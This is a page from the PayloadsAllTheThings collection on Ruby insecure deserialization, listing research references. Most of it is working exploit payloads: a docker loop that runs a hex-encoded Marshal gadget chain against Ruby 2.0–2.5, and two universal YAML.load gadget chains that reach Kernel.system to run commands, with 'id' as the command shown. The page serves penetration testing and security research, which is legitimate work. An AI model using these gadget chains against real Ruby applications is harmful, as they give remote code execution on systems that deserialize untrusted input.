PayloadsAllTheThings/Insecure Deserialization/Ruby.md

Ruby Deserialization

Summary

• Marshal.load
• Yaml.load
• References

Marshal.load

Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5

for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done

Yaml.load

Vulnerable code

require "yaml"
YAML.load(File.read("p.yml"))

Universal gadget for ruby <= 2.7.2:

--- !ruby/object:Gem::Requirement
requirements:
  !ruby/object:Gem::DependencyList
  specs:
  - !ruby/object:Gem::Source::SpecificFile
    spec: &1 !ruby/object:Gem::StubSpecification
      loaded_from: "|id 1>&2"
  - !ruby/object:Gem::Source::SpecificFile
      spec:

Universal gadget for ruby 2.x - 3.x.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

References

• Ruby 2.X Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 8, 2018
• Universal RCE with Ruby YAML.load - Etienne Stalmans (@_staaldraad) - March 2, 2019
• Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab - 2024
• Universal RCE with Ruby YAML.load (versions > 2.7) - Etienne Stalmans (@_staaldraad) - January 9, 2021
• Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021